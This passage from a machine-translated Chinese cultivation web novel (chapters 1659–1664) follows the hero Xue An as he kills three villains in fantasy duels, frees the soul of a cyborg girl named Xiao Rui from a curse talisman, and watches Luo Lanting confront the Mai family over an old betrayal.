    "Answer my question!" Xue An raised his head and stared at Yu Yang coldly.


    Yu Yang''s heart trembled.


    Because Xue An''s gaze was too terrifying.


    It was as if the **** king who stood above the nine heavens and judged everything was examining his own people, full of irrefutable majesty.


    At this moment, Yu Yang even had an urge to kneel down.


    But immediately, he was angry at his idea.


    I was scared!


    And he was afraid of a humble Human Race teenager.


    This is simply unforgivable!


    Therefore, Yu Yang sneered angrily: "The sword is what I use to kill you!"


    As he said, he raised his hand and cut it down, and a dark and evil black sword light suddenly appeared, and came to Xue An in a moment.


    But just when this sword light was about to continue to cut down, **** suddenly appeared and directly clamped the sword light.


    Bang!


    Jianmang was stopped by these two slender fingers.


    The strong inertia even stirred up a storm, swaying Xue An''s hair.


    Even so, Xue An still didn''t even blink his eyelids, but coldly looked at the sword light that was firmly clamped by him.


    This dark sword light was struggling in Xue An''s fingers like a living thing, and there were bursts of miserable howls, and it seemed that countless souls were imprisoned.


    Xue An''s eyes were angered, "Refining swords with spirits, is this your sword?"


    In the sound of questioning, the audience was quiet.


    People were shocked and even unable to complain.


    With a sword in his hand, this is simply unheard of.


    Yu Yang was even more disgusted.


    You know that his swords were all made with countless sacrifices of creatures, and no one at the same level can beat them. However, they were caught by this young man with two fingers. This is incredible!


    But Yu Yang''s reaction was not unpleasant. He saw his figure flash, and his whole person instantly turned into several clones, separated by Xue An''s right and left, and then began to attack Xue An frantically.


    A series of black sword lights slashed with the roars and howls of countless creatures.


    Such a scene is enough to make people daunted.


    This is the terrifying aspect of evil sword repair like Yu Yang.


    They can sacrifice sword intent through various evil methods, and finally possess much stronger strength than the same level.


    In this stormy attack, Xue An raised his eyebrows slightly, and a cold killing intent appeared on his face.


    "It seems that I still overestimate you. You don''t even know what the sword is, so you are embarrassed to call yourself a sword repairer?"


    "Stop talking nonsense, the sword is used to kill people, I don''t care what it is! And even you have to die today!" Yu Yang roared, and the offensive in his hand accelerated again.


    At this time, the black sword light was already present, and Xue An was about to be completely torn apart.


    The crowd exclaimed in depression Shang Peng and Zeng Hong both looked happy.


    Good death!


    When this mysterious boy who didn''t know where to jump out died, the three of his own high-ranking leaders would have no obstacles.


    But just at the moment of this moment, Xue An''s expressionless words were seen: "The sword can be used for killing, but also for protection!"


    Click!


    With a word, the black sword lights that had attacked stopped all together and hung in the air like a black wall.


    Yu Yang was shocked and couldn''t believe his eyes.


    How could these sword lights that he had attacked suddenly stop?


    And immediately afterwards, I saw Xue An slowly saying: "Since you don''t know what a sword is, then I will show you today, what is a real sword repair!"

 Chapter 1659： 1 sword to break the law

    With that, Xue An''s fingers pressed hard.


    Bang!


    The sandwiched sword light suddenly shattered, and the black sword light in front of him was also broken together.


    Bang bang bang!


    In the continuous bursting sound, these sword lights burst one by one.


    The living souls who were imprisoned lost their bondage, turned into black smoke, circled Xue An, and then dispersed.


    This spectacle surprised everyone.


    Yu Yang is no exception.


    "No! My sword spirit!"


    Yu Yang screamed, and then vomited a big mouthful of blood.


    You must know that these sword lights were all formed by his life''s hard work, and now he was suddenly broken, and under the shock of his mind, he had suffered serious injuries.


    This also made his face a look of fear for the first time, because he knew that the young man in white in front of him was far more powerful than he thought.


    So he roared sternly: "I''m fighting with you!"


    He said he was trying to make a splash, but his figure suddenly retreated, apparently intending to smash things and flee here.


    Xue An sneered slightly when he saw this, "Sword repairers must be the best at swords! Except for a sword breath in the chest, abandon all things in the world and break through ten thousand magic with one sword. This is the truth of kendo! Today, let you die like this Under the sword!"


    After all, Xue An raised his hand and cut it down!


    This is an indescribable sword. At this moment, the brilliant brilliance blinded all those who witnessed it.


    Immediately after that, an incredibly powerful sword intent rose to the sky, and then went straight to the ocean.


    Yu Yang didn''t even dare to turn his head back. He felt like a bird escaping from the vortex of the storm, so weak and helpless.


    This feeling caused Yu Yang''s souls to rush, because he knew that if he didn''t work hard, he would definitely die.


    So he frantically used the secret method, leaving behind a barrier while escaping, trying to block the attacking sword.


    But everything is in vain.


    The sharpness of this sword is no longer understandable by ordinary people.


    In front of it, any secret technique formation has lost its effectiveness.


    The so-called one sword breaks ten thousand laws, nothing more than that.


    Therefore, these so-called barriers did not even have the qualifications to allow it to stay, so they were cut straight off, and then blasted behind Yu Yang.


    "No!" Yu Yang felt the biting chill coming from behind him, and his fear of death made him cry out in despair.


    Just like the cry of the victims when he abused others.


    Yu Yang had never looked forward to a miracle as he did now.


    In that flash, he had already prayed to all the gods he knew, and he didn''t even let go of those gods whose strength was far below him, just hoping to survive.


    I don''t know if it was because the gods didn''t hear his prayer, or because they heard it but didn''t dare to care.


    The miracle did not happen in the end.


    puff!


    After a very slight sound, like a hot knife cutting butter.


    Yu Yang''s figure stopped in midair for an instant.


    Immediately afterwards, I saw Yu Yang''s neck turning hard, wanting to look back.


    But at this moment, a blood line began to appear along the spine, and then Yu Yang''s body was divided into two pieces like a potato cut in the middle, and then slipped down.


    Those who were cut to pieces together were Yu Yang''s cultivation base and all his spirits.


    Until the moment he landed, Yu Yang, with only the last trace of consciousness left, rolled his eyes, and finally saw Xue An standing in the distance.


    A trace of regret flashed in Yu Yang''s heart after seeing the young man in white clothes Shengxue.


    Because he didn''t realize until this moment that he was afflicted with an existence that he couldn''t afford.


    The audience was silent.


    On the ground is Yu Yang''s corpse, and under the corpse is blood flowing.


    And beside him, Zeng Hong was half kneeling on the ground, and he wanted to get up but didn''t get up. His face was embarrassed and frightened.


    All this constitutes a weird and **** picture that reveals a bit of funny.


    But no one dared to laugh.


    Because all this just happened is beyond the imagination of many people.


    With just one sword, he cut in half the evil sword Xiuyang that no one dared to provoke for a while.


    How powerful is this to do this?


    Could it be that the young man in white clothes in front of him is a super-class fairy king, even... the transcendent fairy king has reached an unknowable state?


    This idea hovered in the minds of many people.


    Wheat quinoa opened his eyes wide, and looked at him dumbfounded.


    So what he said is true!


    It''s ridiculous that I laughed at him at the time.


    Now it seems that I should be laughed at!


    but����.


    The quinoa suddenly thought of something and looked at Luolan Pavilion in the distance.


    With the strength of this adult, it is really possible to find out what happened to Luoluo and her brother!


    At this time, Xue An let out a sigh of relief, then slowly turned around and looked at Shang Peng with a bewildered look.


    "I''m sorry, maybe my sword used more power, and it soiled the floor. I''m really sorry!" Xue An said with a smile.


    It''s just that at this moment his smile became extremely terrifying in Shang Peng''s eyes.


    "Uh...this..." Shang Peng didn''t know how to respond for a while.


    Show the anger that a friend was killed? Stop teasing, the sword Shangpeng just asked himself can''t stop him, the clamor of lack of strength is purely looking for death!


    Just admit it?


    But so many people are watching!


    If you admit to counseling, how can you fool around in the future?


    For a while, Shang Peng''s heart was full of entanglements, and chaos became a mess.


    Zeng Hong, who was on the side, didn''t have these troubles. He changed from half-kneeling to full-kneeling without moving his expression. At the same time, he was secretly relieved.


    Oh shit!


    Fortunately, I recognized it early!


    Not to mention that this guy knows his master, it''s not easy to mess with this swordsmanship alone!


    As for face?


    How much is face worth?


    But when Zeng Hong was secretly grateful Xue An turned his head and smiled at him slightly, "Didn''t I just tell you to dictate yourself? Do it now!"


    Zeng Hong''s mouth opened instantly, "Huh?"


    Xue An smiled and stretched out a finger.


    "My lord, I do know that I was wrong, and don''t you know my master? Please take my master''s face and spare me this time!" Zeng Hong pleaded "with tears down".


    Xue An did not speak, smiled and stretched out his second finger.


    "My lord, all of this was planned by Shang Peng. He proposed to deal with the dark princess. The culprit is him. Please give me a way out!" Zeng Hong saw the opportunity quickly, and immediately realized that this human teenager is very It may be related to their dealing with the dark princess.


    But at this moment, Xue An stretched out his third finger, and then sighed softly: "Alright, time is up! It seems that you can''t judge yourself anymore, then I will send you on the road!"

 Chapter 1660： Fox Race

    As soon as he said this, Zeng Hong''s muscles tightened instantly, and then he leaped from the ground, punching Xue An with a fierce face.


    Where is the slightest weakness and begging for mercy!


    In fact, Zeng Hong thought very well!


    He is different from that guy Yu Yang, he is a dignified body, and his muscles are as hard as a magic weapon.


    Ordinary swords can''t hurt themselves with air pressure.


    So if you can''t reconcile, then you will punch first, this human youth will definitely hide, and then it will be a good time for you to escape.


    This plan looks perfect.


    But the plan couldn''t keep up with the changes, when his punch just hit Xue An.


    Xue An, who should have avoided it as he thought, not only did not move, but also raised his hand into a fist and shouted excitedly: "Good job!"


    Then he confronted himself.


    At the beginning, Zeng Hong was very happy, thinking that this Human Race boy might be dizzy!


    Actually dared to punch myself.


    Doesn''t he know that he is a dignified cultivator?


    Even if he knows his master''s celestial cicada without phase power, he cannot be his opponent!


    After all, is he a sword repairer!


    In Zeng Hong''s thinking, apart from his swordsmanship skills, Jian Xiu''s body is extremely weak.


    This idea is not wrong, because most of the sword repairs in the heavens are indeed like this.


    But there are always exceptions.


    Like now.


    When Zeng Hong''s face just showed a smug look.


    Just listen to a loud bang.


    Then I saw Zeng Hong''s body flew upside down like a kite with a broken string, and he began to vomit blood in the air.


    Everyone''s eyes moved with Zeng Hong''s body.


    Zeng Hong''s heart was full of shock!


    what happened?


    Why is it that you are actually the one who was blown out during the fist?


    Not only that, Zeng Hong can also feel that his arms and even the bones of half of his body have been shattered, which also shows how powerful Xue An''s punch is.


    The more so, the more fear Zeng Hong became.


    So before he could fall, he ignored his injuries and frantically urged his cultivation to try to escape from here.


    But at this moment, an indifferent voice came from above his head.


    "Since that fellow Chu Wuxiang is not here, let me clean the door for him first!"


    When the words were over, Zeng Hong felt that all the hairs all over his body were standing tall, which was a stress response when encountering extreme danger.


    He wanted to escape, but at the same time, Xue An''s punch had already fallen.


    At this moment, Zeng Hong felt like a big mountain was falling down.


    He let out a desperate roar, then lifted his hands to the sky, trying to block the punch.


    Boom!


    There was another loud noise.


    Zeng Hong''s body was directly smashed from the midair, and a big hole was smashed into the extremely hard ground.


    In the bottom of the pit, Zeng Hong lay there like a puddle of mud, his whole body twitching from time to time, and the vitality in his eyes began to dim at a speed visible to the naked eye.


    Finally, after a few breaths, Zeng Hong died out of breath.


    And it''s the kind of fall that can''t die anymore.


    The sky was filled with smoke and dust that was shaken out, Xue An stood in the air and blew his fist gently, only then smiled at Shang Peng.


    "Next, it''s time to deal with the matter between us!"


    Shang Peng was shocked, "I...what''s up with us?"


    While talking, Shang Peng looked around, trying to find a time to escape.


    "Tsk tusk, you forgot so fast! Didn''t I just say that, I know what you have done! For example... those resentment curses from the fox-monster clan on you!"


    Shang Peng was shocked and blurted out: "How is it possible, I have already spent a lot of money to ask Divine Mind Power to eliminate it for me, how can you still see it!"


    "Eliminate? It''s a joke! How can the curse that the fox monsters cast at the expense of their flesh and soul can be resolved so easily?" Xue An sneered.


    Resentment Curse is a very magical spell, which only exists in the fox family with the blood of the Qingqiu Fox Country, and it is their unique bloodline talent.


    This kind of spell has no destructive power, but the cost of casting it is very scary.


    Often all flesh and blood are needed as sacrifices.


    And the only purpose of this spell is to mark.


    So it became the last counterattack of the mutilated fox monsters against the enemy before they died.


    As long as you are hit by the Curse of Resentment, there will be an indelible mark on your body. Once you see this mark, it means that your hands must be stained with the blood of the fox monster clan.


    Not only that, when the fox clan of Qingqiu Fox Country appears in a certain range around you, you will know your location information for the first time, which is more accurate than GPS positioning.


    The most important thing is that this kind of spell is almost insoluble.


    Once hit, there is no possibility of cracking except death.


    As for Shang Peng''s saying that he asked God to solve it for himself, it was pure nonsense, and at most it was just covering some for him.


    Shang Peng simply put aside everything at this time, and shouted hysterically: "Yes, I just killed those vixens, so what? Does this matter have anything to do with you? Don''t be nosy!"


    "It has nothing to do with me, but it has a lot to do with other people!" Xue An said coldly, and then waved casually.


    A brilliance appeared between her eyebrows, and then Hu Ying appeared in front of everyone.


    When they saw her, many people were taken aback.


    Because this woman is so amazing.


    Beautiful but not gorgeous, charming but not vulgar!


    And Hu Ying already knew what had happened in the Fu Bao Xiaolou, so after she came out, she raised her eyebrows slightly and looked directly at Shang Peng angrily.


    "Dare to kill my people? Really looking for death!"


    Shang Peng did not speak. In fact, after seeing Hu Ying, he stiffened and immediately stood there.


    Then there was a look of fear in his eyes that was almost collapsed.


    Because he felt a familiar breath from Hu Ying.


    He will never forget this breath.


    Up to now, when he closes his eyes, he still thinks of the fox man who was arrogant, but killed his own teacher at his fingertips.


    Ahhhhh what the **** is going on!


    How could the fox demon in front of him have his breath?


    Shang Peng''s heart screamed frantically, trying to escape, but his hands and feet were already stiff and could not move.


    At this time, Hu Yingye had rushed to the front, raised her hand and slapped her face, and the fan of Shang Peng''s mouth was bleeding.


    Immediately afterwards, Hu Ying took out a pan from her arms with murderous intent, and according to Shang Peng, it was a mad smash.


    This pan was made by she deliberately imitating An Yan''s. Although it has no tools, it is also very good.


    Therefore, Shang Peng''s nose and face were bruised and swollen after a few strokes, and he complained endlessly.


    But this didn''t hurt Shang Peng''s roots, so after venting his anger, Hu Ying turned to Xue An for help.


    Xue An smiled slightly, "Let him judge himself! With the breath of your brother, he dare not listen to you!"

 Chapter 1661： kill me

    "Chuck...!" Hearing these words, Shang Peng, who was beaten with bleeding from his nose and mouth, suddenly let out a terrifying laugh like a night owl.


    "What are you laughing at?" Hu Ying raised her eyebrows, and she wanted to continue.


    Shang Peng trembled all over, obviously already terrified of Hu Ying, but he still supported himself and said: "You beat me! Kill me, this person will die too!"


    As he said, he raised his finger to the assassin number five in the distance, with a smug look on his face.


    "I installed a talisman in her sea of ??consciousness. This talisman is closely connected with my soul, so if something happens to me, she must die with it!"


    After that, he laughed triumphantly.


    Hu Ying paled with anger, "You **** scum!"


    With that said, waving the pan in his hand is a mad smash, because Huying has the blessing of the night of the fox, so Shang Peng dare not even dodge and can only scream.


    But even so, he still didn''t stop laughing.


    "Kill me! Kill me and you will never want to save her! Hahahaha..."


    Where did Huying eat his set, because of the dozens of resentment curses on Shang Peng''s body, Huying hated this guy.


    Because unless it is a sea of ??blood and deep enmity, the fox family who is peaceful and kind to others will not cast such heavy spells on him.


    In addition, now that this guy dared to use such despicable means to threaten him, Ling Huying was so angry that he really wanted to slap him to death with a pan.


    Because of this, Hu Ying started to become more and more fierce, and the pan was waving in the wind, and the shot Shang Peng screamed like a wolf.


    At this moment, I saw Xue An step forward and said in a deep voice: "Ying''er, stop!"


    Ying''er stopped the pan in her hand panting, then took a step back, and said to Xue An with hatred: "Brother Xue, he..."


    Xue An waved her hand and motioned her not to speak, then stepped forward and came to this Shang Peng.


    At this moment, Shang Peng looked extremely miserable.


    Most of the bones of her whole body have been beaten to pieces by Fox Ying with a pan, and the broken bone stubble pierced the skin and exposed it, making people seem panicked.


    Because his neck was interrupted, Shang Peng couldn''t even lift his head. He could only squint at Xue An from a strange angle, but even so, he still couldn''t hide the pride and arrogance in his eyes.


    Xue An squatted down and looked at Shang Peng quietly. After a long time, he slowly said, "Do you know the consequences of irritating me?"


    The corners of Shang Peng''s mouth were open, and he smiled silently. With this smile, his whole body was healed at a speed visible to the naked eye.


    After all, what Hu Ying left him was just some skin injuries. Although it looked **** and terrifying, it was actually nothing to a strong person like him.


    So just in the blink of an eye, I heard bursts of crackling noises coming from his body. It was the sound of bones reconnecting, and the swelling outside was quickly disappearing.


    Except for the two severed fingers still not growing out, he has become no different from a normal person.


    Then he spit out a big mouthful of bruises arrogantly, and said with a sneer: "I don''t want to know what the consequences are. I only know that as long as I die, she must die with it, and it is an irretrievable fall, hahahahaha!"


    At this moment, Shang Peng had already given up everything, except for the instinctive fear of Hu Ying, he was full of hatred for Xue An.


    So the words are full of provocation and arrogance.


    But at this moment, Xue An suddenly stretched out his hand to grasp Shang Peng''s wrist, and then slammed it in.


    Shang Peng was shocked, he felt a huge force coming from his wrist, and then he heard a burst of explosions like firecrackers.


    Shang Peng trembled with pain, but couldn''t even move.


    Because the explosion is the sound of the bones of the whole body being broken every inch.


    The reason for all this was just the light push that Xue An held his wrist.


    To put it bluntly, Xue An used a very clever angle, with the control of the second to the peak, and pushed the wrist bone inward, first shattering Shang Peng''s arm bone, and then gradually inward, finally triggering Domino The domino effect played a symphony in Shang Peng''s body.


    At this moment, Shang Peng, all the bones in his body had been broken into powder. Even with his strength, it would take a long time to fully recover.


    So he can only lie on the ground with horror, his mouth wide open, but he can''t even speak.


    Because of Xue An''s blow, even the cartilage on his tongue was shattered, and only the gurgling sound from his throat proved that he still had consciousness.


    Xue An didn''t talk nonsense, raised his hand and pressed his fingers on the center of his eyebrows, then the brilliance of his eyes flickered, and he began to forcibly retrieve Shang Peng''s spiritual memory.


    And this severe pain from the depths of the soul also shocked Shang Peng''s body. He wanted to scream and struggle.


    But his bones were shattered and he moved his fingers with extravagance, so he could only open his eyes and look at Xue An extremely bitterly.


    After a while, Xue An released his finger.


    "Brother Xue, how is it?" Hu Ying asked hurriedly.


    Xue An looked solemn and shook his head gently.


    As expected, Shang Peng didn''t lie, he did place a talisman closely connected with his own divine mind in the sea of ??knowledge of the fifth killer.


    As long as there is any accident to his divine mind, this talisman will burst immediately, making the No. 5 killer''s soul and soul destroyed.


    "Is there no other way?" Hu Ying glanced distressedly at the number five killer standing in the distance.


    "It''s difficult! Because this talisman is extremely vicious, unless he unlocks it himself, there is no way to break it forcibly!" Xue An said coldly.


    At this moment, Shang Peng, who was the first to regain his speech ability because of his strong vitality, laughed extremely bitterly.


    "Hahahaha, unless you are a strong immortal emperor who can break cause and effect with one hand, she and me are grasshoppers on the same rope! So you should give up!


    Xue An''s face was as cold as ice, but he didn''t say anything to refute.


    Because what Shang Peng said is not wrong.


    My own divine mind can indeed be said to be the only one in the world, but Shang Peng''s talisman is connected to himself by the force of cause and effect.


    If you want to solve it, you can only cut the cause and effect.


    And it must be a clean disconnection otherwise this talisman will explode.


    Although I can partly cut off cause and effect now, it is still difficult to cut off cause and effect with just one hand.


    Seeing Shang Peng''s arrogant face, Hu Ying was so angry that she lifted her foot and kicked his mouth fiercely.


    Bang!


    The bones that had grown up after hard work were kicked to pieces by Fox Ying again, and blood was flowing in his mouth.


    But even so, the pride on Shang Peng''s face still did not fade.


    Because he knows that the more angry these people are, the safer they are.


    But at this moment, the number five killer who had been standing in the distance like a wood-carved clay sculpture suddenly moved.


    She walked slowly to Xue An, and looked at Shang Peng on the ground without any wave, and then raised her head to look directly at Xue An, her lips lightly opened, and she said in a hoarse voice with a changed tone.


    "kill me!"

 Chapter 1662： Annihilate humanity

    oom!


    As soon as this remark came out, the audience shook.


    Ants are greedy, let alone human?


    But the bruised girl in front of her said these three words with an extremely calm expression.


    The courage represented by this is enough to move people.


    Shang Peng opened his eyes wide, looking at the number five killer in disbelief.


    Xue looked at this girl quietly, and a look of regret suddenly appeared in his eyes.


    "Actually, I can seal this person''s spirit first..."


    The fifth killer shook his head firmly, and said again: "Kill me!"


    Xue An was silent.


    "You crazy woman, aren''t you afraid of death?" Shang Peng burned his cultivation base, repaired his mouth first, and then shouted hoarsely.


    The fifth killer turned his head and looked at him quietly, "Not afraid!"


    Shang Peng felt cold in his hands and feet, because the words of the No. 5 killer were simply calm and terrifying.


    But he still didn''t want to give up, so he shouted with the last hope: "Then why did you refuse to commit suicide after being arrested for such a long time? You still don''t want to die!"


    The fifth killer did not get angry, and continued to say indifferently: "That''s because there is no option of suicide in my settings. I can only choose to endure and wait!"


    After that, she looked at Xue An again, "Kill me! In this way, you don''t have to be threatened by him!"


    Shang Peng was going crazy.


    He had never seen a person who handled his life and death so peacefully.


    "You lunatic, bastard..." Shang Peng yelled.


    Hu Ying frowned and stepped on his head, "Shut up, otherwise I will kill you first!"


    Because of the aura of Fox Night, Shang Peng was full of fear for Fox Ying, so he could only helplessly shut his mouth.


    at the same time.


    Xue quietly looked at the number five killer, and finally nodded slowly, "Okay! I promise you!"


    The fifth killer was as calm as ever, "Thank you! Let''s do it!"


    After that, she closed her eyes very calmly.


    Seeing this scene, many people turned their heads unbearably.


    The quinoa has red eyes.


    But it was her brother who responded the most.


    I saw Mai Lin clenched his fists silently, and infinite regret suddenly rose in his heart.


    Back then, if he had half the courage of this woman, would he be able to break through his father''s barrier and go to help out for his good friend?


    In that case, will the setting sun of the best friend die miserably?


    These thoughts gnawed at Mai Lin''s heart like a poisonous snake, and even his nails pierced his skin, and a ray of blood flowed down his wrist, which he didn''t even notice.


    at the same time.


    Xue An slowly walked up to the fifth killer, then slowly leaned down, and whispered in the fifth killer''s ear: "Xiao Rui, you should go back first. As for the people who turned you into this, I I will never let it go!"


    This statement came out.


    The fifth killer Huo Ran opened his eyes, and there was a touch of consternation in the eyes that had never experienced emotional fluctuations.


    The name Xiaorui touched her few memories hidden deep in her soul.


    Seeing the dazed and bewildered face on her face, Xue An''s eyes showed anger.


    That''s right.


    This No. 5 killer is exactly the Qian Xirui that I saw in Fengmo Dongtian.


    To be precise, it should be a clone of Xiao Rui.


    In her sea of ??knowledge, there is a divine consciousness of Xiao Rui, but this divine consciousness is very weak and can only maintain her most basic emotional cognition.


    This was also the first time Xue An saw her, and was shocked that although she was Xiaorui, her breath was so weak.


    And Xue An can also see that the body of this split version of Xiao Rui is very different from that of human beings.


    Many organs have been replaced by alchemy vessels.


    Even the bones of her whole body are made of metal.


    To put it bluntly, she is purely a cyborg at the moment.


    And this is what makes Xue An so angry.


    Because in order to achieve this goal, Xiao Rui must be treated extremely cruelly.


    First of all, Xiaorui''s body spirit is to be separated, and then a semi-human and semi-mechanical body is made to accommodate it.


    At every step of this, Xiao Rui has to endure tremendous pain.


    And she is just a child!


    The person who did all of this has obviously annihilated humanity, and only then has he been so frantic.


    At this moment, Xiao Rui looked at Xue An blankly.


    Xue An took a deep breath, and then, a crystal clear red lotus appeared between his eyebrows.


    The red lotus was like a fire, and instantly wrapped Xiao Rui''s body.


    The endless red lotus karma fire burns Xiaorui''s body into nothingness.


    But when the karma fire burned to the sea of ??consciousness, it suddenly enveloped Xiaorui''s divine mind with soft power.


    There is indeed a black talisman above this divine mind, and it has been completely integrated with Xiao Rui''s divine mind.


    It is simply impossible to get this talisman out without hurting Xiao Rui''s spirit.


    Xue An''s face was as cold as ice, and the brilliance flashed in his eyes, and the red lotus industry swallowed Xiaorui''s spirit with a blast of fire.


    "Ah!" Shang Peng let out a scream, and then black blood flowed out of his mouth and nose.


    Obviously Fulu had been destroyed by the fire of karma, and he was hit hard by the backlash.


    Shang Peng''s eyes finally showed infinite horror. He really didn''t expect this killer No. 5 to be so staunch, and Xue An would be so ruthless when he shot.


    Actually, he really refined the **** of this killer number five.


    Isn''t he afraid that this killer No. 5 will be destroyed?


    Not only him, but even Hu Ying sighed.


    She naturally recognized the true identity of this killer No. 5, so she sighed for the result.


    But at this moment, when Xue An suddenly stretched out his hand, his fingers were inserted into the red lotus karmic fire, and a faint thing was drawn out from it.


    It was a mutilated divine mind.


    Immediately afterwards, Xue An''s other hand quickly wrote a talisman seal, enveloping the spirit.


    The divine consciousness that was about to collapse was instantly stabilized.


    Xue An took a breath, and then said softly: "Go!"


    As he said, he opened his palms.


    This spiritual thought flew around Xue An with some attachment, and then with the help of the talisman that Xue An gave it, it directly escaped into the void and disappeared.


    Hu Ying was startled at first, and then smiled knowingly.


    "Sure enough, Brother Xue is amazing!"


    "What''s that? Ah? What the **** is that?" Shang Peng also saw the scene just now and couldn''t help screaming.


    After hearing the words, Hu Ying was stunned, and then stepped down mercilessly.


    boom!


    Shang Peng��s head was directly exploded by Fox Ying��s foot As the brain burst, Shang Peng��s spiritual thoughts loomed in it, still screaming, "What the **** is that?"


    Hu Ying obviously hated this guy very much, and she couldn''t help but sneered: "What do you think it can be? Do you really think you can show off with a broken talisman? Brother Xue directly teaches you how to be a man!"


    Shang Peng was struck by lightning.


    My talisman actually failed?


    how is this possible?


    At the same time, Hu Ying was angry and wanted to completely shred this Shang Peng''s spirit.


    "Wait!"


    Hu Ying was startled, then looked at Xue An with a face full of confusion, "Brother Xue, do you want to keep this guy?"


    Xue An said lightly: "Of course not, I just think... let him die like this, wouldn''t it be cheaper for him?"

 Chapter 1663： Killing intent

    "Hey, what do you want to do? Don''t come here!"


    Seeing Xue An who walked towards him quickly, Shang Peng was terrified, and his screams were like killing a pig.


    Here I want to say that although Shang Peng''s head was stomped on by Hu Ying, after only such a short period of time, he actually recovered.


    Even the broken bones on his body have healed seven or eight.


    Such vitality is very rare even at his level of strength.


    "It''s really interesting, your natural ability is actually a strong vitality?" Xue An stopped in front of Shang Peng and said with a smile.


    Shang Peng''s soul was almost frightened. In his eyes, even though Xue An was smiling, he was even more terrifying than the devil.


    "You die for me!" Shang Peng jumped up from the ground and attacked Xue An desperately.


    Because he knew that if he wanted to survive, he must first kill the boy in white.


    So even though he was worried, he still gave it up.


    But in the face of Xue An, who is about to be full of anger, even if he is ten times more powerful than now, it will not help.


    Bang.


    After a muffled noise, Xue An grabbed Shang Peng''s booming fist and smiled coldly, "The game starts, I hope you will like the next activities!"


    After all, Xue An twisted his wrist.


    Click!


    Shang Peng''s arm bones were twisted out.


    Before Shang Peng screamed, Xue An stepped forward, grabbing his head with both hands, and then twisting his arms violently.


    Click, click.


    After a sour bone rubbing sound, there was a muffled noise similar to opening a can.


    Xue An unexpectedly screwed off Shang Peng''s head.


    Even so, the headless body still did not fall to the ground, and even tried to attack Xue An with teeth and claws.


    Xue An''s face was expressionless, and both hands snapped outwards, just like breaking a watermelon, directly breaking Shang Peng''s head from it, and his brain was scattered all over the ground, and Shang Peng''s spirit appeared again.


    But this time Xue An obviously won''t give him a chance to resurrect again. Xue An took a step forward, raised his hand, and directly pinched Shang Peng''s soul into his hand, and then pressed it into the palm of his other hand. .


    Shang Peng screamed, and then disappeared into Xue An''s palm.


    So far, this Shang Peng has fallen.


    From the beginning of the meeting to the present, in just one hour, the three giants have all died.


    The result of this is that the blood of everyone present is almost cold.


    At the same time, Xue An raised his head and glanced at the audience. Everyone bowed their heads wherever he passed.


    The whole audience could hear people''s teeth shaking because of fear.


    No one dared to look at Xue An directly, and everyone wanted to know what the murderous teenager planned to do next.


    Will people like myself end up like these three hapless guys?


    In the dead silence, Xue An took a slow and deep breath, the original violent killing intent instantly disappeared, and the chill on his face also faded.


    Immediately after his eyes flashed, the flames covered his whole body, burning all the blood stains into nothingness.


    It wasn''t until all this was done that a faint smile appeared on Xue An''s face.


    The atmosphere of the audience was also very loose.


    This adult seemed to not intend to kill himself.


    In any case, this is good news.


    at the same time.


    Luo Lan Ting and the people of the next rank also followed.


    At this moment, they admire and respect Xue An even more.


    Not only because Xue An had transformed them by reversing the five-element reincarnation formation, but also because the strength Xue An just demonstrated was simply incredible.


    No matter where you are, you are respected by the strong, and if you can follow such a boss, your future will be limitless.


    Especially the Chong Xulan, at this moment, her eyes can''t wait to grow on Xue An, and her heart is pounding.


    If I could follow such an adult, who would dare to look down on me in the future?


    Chong Xulan trembled with excitement when he thought of that bright prospect.


    Therefore, she tidyed her hair and her hair and scratched her head to the best of her ability, just trying to show her charm in front of Xue An as much as possible.


    Unfortunately, all her efforts were in vain.


    Because at the moment, Xue An didn''t look at her at all, but turned to look at the crowd, and finally fixed his gaze on the trance-like quinoa, and then smiled slightly.


    "Miss Mai, do you still think I am arrogant?"


    In the voice, all eyes converged on the quinoa.


    Under the attention of the audience, the blush of wheat quinoa was about to bleed, and he lowered his head and muttered: "Yes... I''m sorry, my lord, I have no eyes!"


    The head of the Mai family, who is also the father of wheat quinoa, has a bright appearance.


    what happened?


    This adult seems to know Quinoa!


    So he hurriedly stepped forward and said with a smile on his face: "This adult, the little girl is young and ignorant, so offensive, I am really sorry, you..."


    Before he could finish the rest of the story, Luo Lanting didn''t know when he walked behind Xue An and said coldly: "Patriarch Mai, long time no see!"


    Hearing this voice, Mai Chang couldn''t help but feel a little puzzled. How did this voice sound so familiar?


    So he looked up.


    At this moment, Luo Lanting removed his disguise and said sarcastically, "Why? Don''t you recognize it?"


    "Luo...Luo? You are Luoluo!" Before Mai Chang could speak, Mai Lin already shouted excitedly.


    Luo Lanting showed her true colors when she first entered the venue, and this is why Mai Quinoa can recognize her.


    But in order to avoid some unnecessary troubles, she used occult technique to cover her true face.


    So Mai Chang and Mai Lin didn''t know that Luo Lanting was by Xue An.


    As soon as the disguise was removed, the two were naturally shocked.


    "Haha! I didn''t expect you to even recognize me! I thought you were all wolf-hearted guys!" Luo Lanting gave Mai Lin a deep look and said with disgust.


    Mai Lin''s face suddenly became very pale his mouth opened, and he couldn''t say what he wanted to say.


    Mai Chang also trembled all over, but Jiang was still old and spicy after all, so he gave a strong smile, "It turns out that it''s Luoluo, it''s great that you are still alive, you don''t know how worried we are about you..."


    "Oh? Let''s talk about it, how worried about me? Is it the kind of worry that our siblings were chased and killed, but were turned away when we knocked on your door?" Luo Lanting was full of hatred. Said.


    Hearing these words, Mai Chen was shocked, his eyes widened instantly, and he looked at Mai Lin in panic, "Brother, this...what is going on?"


    There was a deep shame on Mai Lin''s face, but he did not answer his sister''s words.


    Cheno looked at his father again, and tremblingly said: "Father, what is going on? You answer me!"


    Mai Chang was embarrassed, sweat on his forehead, "This...this..."


    Luo Lanting looked at his former best friend and said coldly: "Don''t you want to know what happened back then? Okay! Then I''ll tell you now!"

 Chapter 1664： Since then, there is nothing to do with it!

    "Your good father, good brother, the good elders and good brothers of our brothers and sisters, when we knew that we were being chased, we couldn��t stay behind closed doors, and we didn��t even show up! As a result, my brother was seriously injured. , He died soon after reaching the bottom rank, and all this is thanks to the two of them! You say..."


    There were tears in Luo Lanting''s eyes, "Should I thank them well?"


    These questions made Mai Lin''s face white as paper, and his head lowered, tears dripping down from his eyes, but his face showed relief.


    Because for so long, he was suffering from his heart all the time.


    Hearing the scolding and scolding from his former friend and sister at this moment actually made him feel a bit of comfort.


    The quinoa was struck by lightning, and tremblingly asked Mai Chang, "Father, what Luo Luo said is true?"


    Mai Chang nodded weakly.


    In an instant, quinoa fell into the ice cellar.


    Only then did she finally understand what happened.


    I finally understood why she was so indifferent to her when she saw Luo Lanting.


    When such a thing happens, it is impossible for anyone to not be full of grievances.


    But this fact is really hard for her to accept.


    Because in her mind, her father and brother have always existed like heroes.
